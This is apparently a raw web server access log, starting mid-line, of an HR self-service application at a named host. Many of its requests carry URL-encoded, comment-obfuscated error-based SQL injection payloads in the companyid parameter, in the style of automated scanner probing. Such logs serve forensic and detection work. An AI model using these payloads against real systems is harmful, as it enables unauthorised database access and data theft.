Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x424b736f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68565176%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d636644%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6263596f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x376b6b74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686f6b6f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x376b6b74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686f6b6f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x73536e33%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4b4750%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x566d5a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a354a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x71504f76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7031434e%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x58347730%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414b454e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35394958%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57694337%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x3562314d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63633854%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59523249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624b4f73%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59523249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624b4f73%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x376b6b74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686f6b6f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59523249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624b4f73%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x49573472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61544243%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x49573472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61544243%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
